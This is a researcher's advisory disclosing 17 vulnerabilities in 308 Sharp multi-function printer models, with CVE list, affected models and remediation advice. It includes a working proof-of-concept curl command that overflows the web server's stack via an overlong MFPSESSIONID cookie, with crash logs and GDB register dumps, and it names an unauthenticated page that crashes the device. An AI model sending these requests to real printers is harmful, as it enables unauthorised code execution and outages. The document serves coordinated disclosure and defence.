17 vulnerabilities in Sharp Multi-Function Printers

Product description

Multifunction printers offer more than just print. These devices integrate the power of a printer, photocopier and scanner into one single device.

From https://www.sharp.co.uk/printers-photocopiers/explore-sharp-printers/sharp-multifunction-printers

Vulnerability Summary

Vulnerable versions: 308 different models of Sharp Multi-Function Printers (MFP) are vulnerable. It is recommended to visit the official Sharp advisory and apply security patches and replace unsupported Multi-Function Printers (MFP) models.

The summary of the vulnerabilities is as follows:

CVE-2024-28038 - Memory corruption in the main program - Remote Code Execution against the web server without authentication
CVE-2024-36251 - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication
CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 - World-readable coredump files and insecure storage of credentials
CVE-2024-33605 - Arbitrary Directory Listing without authentication
non-assigned CVE vulnerability - Local File Inclusion allowing to read any file (e.g. Coredump files) without authentication
5.1 Generation of the coredump file on the printer
5.2 Local File Inclusion of the coredump file
5.3 Retrieve of credentials using the coredump files
5.4 Retrieve of credentials using configuration files
CVE-2024-33610 - Backdoor webpage - Listing of session cookies without authentication
non-assigned CVE vulnerability - Configuration webpages reachable without authentication
CVE-2024-33610 - Reboot without authentication - Remote DoS
CVE-2024-35244 - Backdoor access - Service
non-assigned CVE vulnerability - Backdoor access - FSS User
non-assigned CVE vulnerability - Insecure default credentials
CVE-2024-33616 - Read admin access on telnet
non-assigned CVE vulnerability - XSS on all the Sharp printers (login.html)
non-assigned CVE vulnerability - XSS on all the Sharp printers (all other HTML pages)
CVE-2024-34162 - Exfiltration of LDAP credentials by downgrading the security
CVE-2024-36248 - Hardcoded Google API Keys
non-assigned CVE vulnerability - Hardcoded Amazon API Keys
N-day CVE-2022-45796 - Remote Code Execution

TL;DR: An attacker can compromise Sharp Multi-Function Printers using multiple vulnerabilities.

List of vulnerable models of Sharp Multi-Function Printers (308 models):

BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31, BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T, 
BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45, BP-50M36, BP-50M31, BP-50M26, BP-50M55, 
BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31, BP-70C36, BP-70C31, BP-70C65, BP-70C55, 
BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45, BP-90C70, BP-90C80, BP-B547WD, BP-B537WR, 
BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055, DX-2500N, DX-2000U, MX-2010U, MX-1810U, 
MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N, MX-3100G, MX-2600N, MX-2600G, MX-3101N, 
MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N, MX-2615N, MX-2615 A, MX-3116N, MX-2616N, 
MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V, MX-3571, MX-3071, MX-3571S, 
MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR, MX-3640N, MX-3140N, MX-2640N, MX-3140N A, 
MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N, MX-4050V, MX-3550V, MX-3050V, MX-4060N, 
MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061, MX-3561, MX-3061, MX-4061S, MX-3561S, 
MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N, MX-5111N, MX-5110N, MX-4112N, MX-4111N, 
MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N, MX-4140N, MX-6050N, MX-5050N, MX-6050V, 
MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A, MX-3070N A, MX-6070N, MX-5070N, MX-4070N, 
MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V, MX-6071, MX-5071, MX-4071, MX-6071S, 
MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N, MX-7580N, MX-6580N, MX-8081, MX-7081, 
MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402, MX-B382, MX-B402P, MX-B382P, 
MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT, MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH, 
MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W, MX-C301W, MX-C301, MX-C304, MX-C303, 
MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311, DX-C311, DX-C311J, MX-C310, DX-C310, 
MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401, DX-C401, DX-C401 J, MX-C400, 
DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054, MX-M904, MX-M1206, MX-M1056, MX-M2630, 
MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV, MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV, 
MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V, MX-M354N, MX-M314N, MX-M264N, MX-M354NR, 
MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550, MX-M3050, MX-M3551, MX-M3051, MX-M2651, 
MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV, MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV, 
MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S, MX-M465N A, MX-M365N A, MX-M503N, MX-M453N, 
MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N, MX-M464N, MX-M364N, MX-M564N A, MX-M565N, 
MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051, MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A, 
MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071, MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S, 
MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N, MX-M754N A, MX-M654N A, MX-M7570, MX-M6570, 
MX-M905.

Miscellaneous notes:

This security assessment was entirely done using a blackbox approach and fully-remote - I only had some IPs of printers (no physical access and no credentials for admin or normal users). Consequently, the physical security of the printers was not analyzed and the vulnerabilities were confirmed with about 15 different models running the latest firmware versions (MX-3060N, MX-3061, MX-3070N, MX-3560N, MX-3561, MX-5070V, MX-5071, MX-C3051R MX-C3081R, MX-M365N, MX-M453U, MX-M465N, MX-M5050, MX-M5051, MX-M6051 and MX-M6071).

The vulnerabilities were communicated to JPCERT on June 1, 2023 and communications with JPCERT were very effective - they fully managed interactions with Sharp.

Impacts

An attacker can compromise Sharp multi-function printers (MFP) and execute code. These printers are running Linux and are powerful. They are ideal to host implants (and fun programs, like Bettercap) and move laterally inside infrastructures.

Recommendations

Use network segmentation to isolate MFPs.
Apply security patches.
Replace unsupported MFPs.

Details - Memory corruption in the main program - Remote Code Execution against the web server without authentication

By Default, Sharp printers are using a single super-program that will run as root and provide network daemons (ftp, http, snmp, raw-printer-9100, ...). This single program is vulnerable to a stack-based buffer overflow without authentication.

This main program runs as root and its HTTP stack is vulnerable, without authentication, to a stack-based buffer overflow, allowing an attacker to redirect the control flow of the program and achieve remote code execution.

main program listening on port 80/tcp:

sh-4.3# ps -auxww | grep main
root      1186  6.3  5.3 2124656 172688 ?      Sl   00:27  43:36 /tmp/app/ui/ui_mainview -hidecursor
root      2081  3.9 10.9 2515532 348980 ?      Sl   00:27  26:52 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk
root     13598  0.0  0.0   1980   368 pts/0    S+   11:49   0:00 grep main
sh-4.3# netstat -laputen | grep main
tcp        0      0 0.0.0.0:50001           0.0.0.0:*       LISTEN      0          10217       2081/main       
tcp6       0      0 :::443                  :::*            LISTEN      0          12538       2081/main       
tcp6       0      0 :::52000                :::*            LISTEN      0          33214       2081/main       
tcp6       0      0 :::10080                :::*            LISTEN      0          18542       2081/main       
tcp6       0      0 :::515                  :::*            LISTEN      0          10166       2081/main       
tcp6       0      0 :::53000                :::*            LISTEN      0          12539       2081/main       
tcp6       0      0 :::10443                :::*            LISTEN      0          18545       2081/main       
tcp6       0      0 :::5900                 :::*            LISTEN      0          33233       2081/main       
tcp6       0      0 :::9100                 :::*            LISTEN      0          12534       2081/main       
tcp6       0      0 :::80                   :::*            LISTEN      0          12537       2081/main       
tcp6       0      0 :::21                   :::*            LISTEN      0          10164       2081/main       
tcp6       0      0 :::631                  :::*            LISTEN      0          10168       2081/main       
udp        0      0 127.0.0.1:9473          0.0.0.0:*                   0          13202       2081/main       
udp6       0      0 :::5353                 :::*                        0          12497       2081/main       
udp6       0      0 :::161                  :::*                        0          33229       2081/main       
udp6       0      0 :::546                  :::*                        0          33145       2081/main       
sh-4.3#

By default, the printer will provide a MFPSESSIONID cookie when reaching the printer with a browser as shown below. This cookie will then be used for authentication purposes if the user decides to log into the printer. For example, with a HTTP request to /main.html:

kali% curl -kv http://10.0.0.1/main.html | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /main.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Rapid Logic/1.1
< MIME-version: 1.0
< Date: Thu Jan  1 02:32:35 1970 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: close
< Pragma: no-cache
< Cache-Control: no-cache
< X-Frame-Options: DENY
< Set-Cookie: MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A
< Extend-sharp-setting-status: 0
< 
{ [2 bytes data]
<!DOCTYPE html>
<html  lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=320,initial-scale=1.0" />
<meta name="format-detection" content="telephone=no" />
<meta http-equiv="X-UA-Compatible" content="IE=8; IE=10; IE=11" />
<title>Machine Identification - MX-M6071</title>
<link rel="stylesheet" href="other.css" type="text/css" />
<link rel="stylesheet" href="color1.css" type="text/css" />
* Failure writing output to destination
* Failed reading the chunked-encoded stream
100  6950    0  6950    0     0   196k      0 --:--:-- --:--:-- --:--:--  199k
* Closing connection 0
curl: (23) Failure writing output to destination
kali%

By sending a malicious HTTP request with a long MFPSESSIONID cookie, it is possible to overwrite the stack of the main program.

This payload will send a MFPSESSIONID cookie with a payload of 643 bytes. This payload will overwrite a stack buffer inside the main program. The buffer is probably 639 bytes and EDBB will overwrite the stack:

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
>

If /system.html does not exist, it is possible to use /main.html or any existing html webpage instead:

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/main.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
>

If the first exploitation does not work, it is possible to resend it again to overwrite the stack the second time:

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB

The dmesg output on the printer will confirm that the main program crashed while trying to reach the address 0x42434445, corresponding to the previous EDCB sent inside the cookie. EDCB is represented in the little-endian format as ARM is little-endian and 0x42434445 can be found inside several registers (but not PC).

output of dmesg:

[  127.970220] main[15612]: unhandled level 2 translation fault (11) at 0x42434445, esr 0x92000006
[  127.979463] pgd = ffff80007a07e000
[  127.982981] [42434445] *pgd=00000000fa099003, *pud=00000008c6f9d003, *pmd=0000000000000000

[  127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P           O    4.1.46-rt52 #2
[  128.000296] Hardware name: LS1043A MFP Board (DT)
[  128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000 task.ti: ffff80083dde0000
[  128.012710] PC is at 0x20d4ff8
[  128.015761] LR is at 0x2a0
[  128.018465] pc : [<00000000020d4ff8>] lr : [<00000000000002a0>] pstate: 900f0010
[  128.026024] sp : 000000008f12f7c0
[  128.029335] x12: 0000000042434445 
[  128.032981] x11: 000000008fd45008 x10: 0000000000000001 
[  128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c 
[  128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58 
[  128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc 
[  128.054388] x3 : 0000000042434445 x2 : 0000000042434445 
[  128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001

On the printer, using GDB, we will confirm the main program crashed and the stack has been successfully corrupted:

sh-4.3# ps -auxww|grep main
root      1186  9.7  4.9 2123632 158080 ?      Sl   11:31   0:21 /tmp/app/ui/ui_mainview -hidecursor
root      2023  7.8  9.8 2505880 316360 ?      Sl   11:31   0:15 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk
root     26544  0.0  0.0   1980   376 pts/0    S+   11:34   0:00 grep main
sh-4.3# gdb -p 2023
GNU gdb (GDB) 7.10.1.20160210-cvs
warning: File "/lib/libthread_db-1.0.so" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load".

warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
0xf744f1c4 in pthread_join () from /lib/libpthread.so.0
(gdb) c

...
[LWP 32749 exited]
[New LWP 32750]
[New LWP 32751]
[LWP 32751 exited]
[New LWP 32752]
...
[New LWP 27196]
[LWP 27196 exited]
[New LWP 27197]

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 27195]
0x020d4ff8 in ?? ()
(gdb) bt
#0  0x020d4ff8 in ?? ()
#1  0x000002a0 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) info reg
r0             0x1      1
r1             0x903e0ec8       2419986120
r2             0x42434445       1111704645
r3             0x42434445       1111704645
r4             0x8b90bdc        146344924
r5             0x903e0ecc       2419986124
r6             0x903e1168       2419986792
r7             0x0      0
r8             0x903e082c       2419984428
r9             0x918ddcb8       2441993400
r10            0x1      1
r11            0x903db008       2419961864
r12            0x42434445       1111704645
sp             0x72231fc0       0x72231fc0
lr             0x2a0    672
pc             0x20d4ff8        0x20d4ff8
cpsr           0x90050010       -1878720496
(gdb) info frame
Stack level 0, frame at 0x72231fc0:
 pc = 0x20d4ff8; saved pc = 0x2a0
 called by frame at 0x72231fc0
 Arglist at 0x72231fc0, args: 
 Locals at 0x72231fc0, Previous frame's sp is 0x72231fc0
(gdb)

There is no ASLR in the main program; the addresses are always identical therefore exploitation is very likely.

Exploitation was not attempted since no enough time was allocated to develop such exploit during this security assessment and I already had a remote shell as root on the printers. Sharp confirmed that exploitation is possible.

An attacker with a RCE vulnerability can then move laterally and use Wifi to exfiltrate information:

bash-4.3# iwlist ath0 scan
ath0      Scan completed :
          Cell 01 - Address: 00:3C:10:01:02:03
                    ESSID:"[REDACTED]"
                    Mode:Master
                    Frequency:2.412 GHz (Channel 1)
                    Quality=93/94  Signal level=-54 dBm  Noise level=-95 dBm
                    Encryption key:off
                    Bit Rates:12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s; 48 Mb/s
                              54 Mb/s
                    Extra:bcn_int=100

bash-4.3#

Details - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication

It was observed that the /billcodedef_sub_sel.html webpage is reachable without authentication on Sharp printers. A specific request to this webpage will trigger an invalid pointer deference in the main program. The printer will then reboot after creating coredump files.

IT Security Research by Pierre